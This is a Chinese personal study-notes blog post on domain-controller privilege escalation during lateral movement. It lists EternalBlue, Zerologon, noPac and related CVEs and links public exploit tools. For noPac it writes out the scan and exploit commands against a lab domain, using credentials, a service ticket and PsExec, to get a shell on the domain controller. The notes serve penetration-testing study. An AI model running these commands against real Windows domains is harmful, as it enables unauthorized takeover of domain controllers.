当前位置: 首页 > news >正文

10、内网安全-横向移动域控提权NetLogonADCSPACKDC永恒之蓝

用途:个人学习笔记,有所借鉴,欢迎指正!

背景:

主要针对内网主机中的 域控提权漏洞,包含漏洞探针和漏洞复现利用。
1、横向移动-系统漏洞-CVE-2017-0146(ms17-010,永恒之蓝)
永恒之蓝(CVE-2017-0146)复现(超详细)_永恒之蓝模型-CSDN博客
2、横向移动-域控提权-CVE-2014-6324
3、横向移动-域控提权-CVE-2020-1472(重点)
4、 横向移动-域控提权-CVE-2021-42287(重点)
5、横向移动-域控提权-CVE-2022-26923(重点)

横向移动-域控提权-CVE-2021-42287

前提条件
一个域内普通账号与密码,没有补丁
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user

影响版本
Windows基本全系列(未打补丁)

python版本EXP

https://github.com/WazeHell/sam-the-admin

利用过程
windows下(貌似不能使用):报错 ‘KRB5CCNAME’ 不是内部或外部命令,也不是可运行的程序
或批处理文件。

需要在kali中运行:

C#版本EXP

项目地址:GitHub - cube0x0/noPac: CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter.

利用过程:

1、使用代理后:
修改Host绑定域名和IP
2、扫描探针:

noPac scan -domain god.org -user webadmin -pass admin!@#45

3、利用连接:

noPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org /mAccount dadd /mPassword sdadasdsa /service cifs /ptt
PsExec \\owa2010cn-god.god.org cmd

其余漏洞就不一一罗列了,漏洞复现请恕我划一波水,使用现成的贼香。

域控提权漏洞利用参考文章:

【内网安全】横向移动&域控提权&NetLogon&ADCS&PAC&KDC&永恒之蓝_第133天:内网安全-横向移动&域控提权&netlogon&adcs&pac&kdc&永恒之蓝.pd-CSDN博客

内网安全第一百三十三天_内网安全-实战项目&vpc4 线上&三层路由&免杀对抗&域控提权&资源 委派-CSDN博客

总结:

我个人学习是通过课程和以上文章,漏洞利用的话,基本上就是根据复现文章一步一步实现,对于域控提权的漏洞编号还是得记一记,这些常识可能面试会问到,像CVE-2017-0146(ms17-010) 要做到耳熟能详。

相关文章:

  • GPT-SoVITS-WebUI 克隆声音 macos搭建
  • 计算机组成原理(4)-----Cache的原理及相关知识点
  • 解决vscode每次git pull/push都需要输入账号密码
  • 软件测试面试常见问题【含答案】
  • java异常处理设计
  • Docker之MySQL8安装、容器数卷挂载、数据库导入导出操作
  • Resolving Low-Level Graphics Issues
  • 我为什么不喜欢关电脑?
  • 【深度学习每日小知识】交并集 (IoU)
  • Python+ddt+Excel实现接口自动化测试生成完美测试报告
  • SpringBoot+WebSocket实现即时通讯(一)
  • 移除数组中的元素
  • 小程序缓存封装 storage
  • PageOffice服务器端组件低于5.4,请联系管理员升级PageOffice服务器端组件版本
  • 本地TCP通讯(C++)
  • 【跃迁之路】【444天】程序员高效学习方法论探索系列(实验阶段201-2018.04.25)...
  • 【跃迁之路】【641天】程序员高效学习方法论探索系列(实验阶段398-2018.11.14)...
  • CEF与代理
  • ECMAScript6(0):ES6简明参考手册
  • Fundebug计费标准解释:事件数是如何定义的?
  • js 实现textarea输入字数提示
  • log4j2输出到kafka
  • Python语法速览与机器学习开发环境搭建
  • Redis的resp协议
  • vue从入门到进阶:计算属性computed与侦听器watch(三)
  • 创建一个Struts2项目maven 方式
  • 构造函数(constructor)与原型链(prototype)关系
  • 开放才能进步!Angular和Wijmo一起走过的日子
  • 聊聊flink的TableFactory
  • 聊聊hikari连接池的leakDetectionThreshold
  • 为物联网而生:高性能时间序列数据库HiTSDB商业化首发!
  • 一些关于Rust在2019年的思考
  • 用Python写一份独特的元宵节祝福
  • 最近的计划
  • (2.2w字)前端单元测试之Jest详解篇
  • (Redis使用系列) Springboot 使用redis实现接口Api限流 十
  • (八十八)VFL语言初步 - 实现布局
  • (附源码)springboot教学评价 毕业设计 641310
  • (接口自动化)Python3操作MySQL数据库
  • (每日持续更新)信息系统项目管理(第四版)(高级项目管理)考试重点整理第3章 信息系统治理(一)
  • (三分钟)速览传统边缘检测算子
  • (深入.Net平台的软件系统分层开发).第一章.上机练习.20170424
  • (十五)Flask覆写wsgi_app函数实现自定义中间件
  • .NET Core IdentityServer4实战-开篇介绍与规划
  • .NET Core 控制台程序读 appsettings.json 、注依赖、配日志、设 IOptions
  • .NET Core 通过 Ef Core 操作 Mysql
  • .NET Core 项目指定SDK版本
  • .NET Framework 服务实现监控可观测性最佳实践
  • .NET I/O 学习笔记:对文件和目录进行解压缩操作
  • .NET Project Open Day(2011.11.13)
  • .NET 的静态构造函数是否线程安全?答案是肯定的!
  • .NET 中创建支持集合初始化器的类型
  • .NET国产化改造探索(三)、银河麒麟安装.NET 8环境
  • [ 数据结构 - C++] AVL树原理及实现
  • [<事务专题>]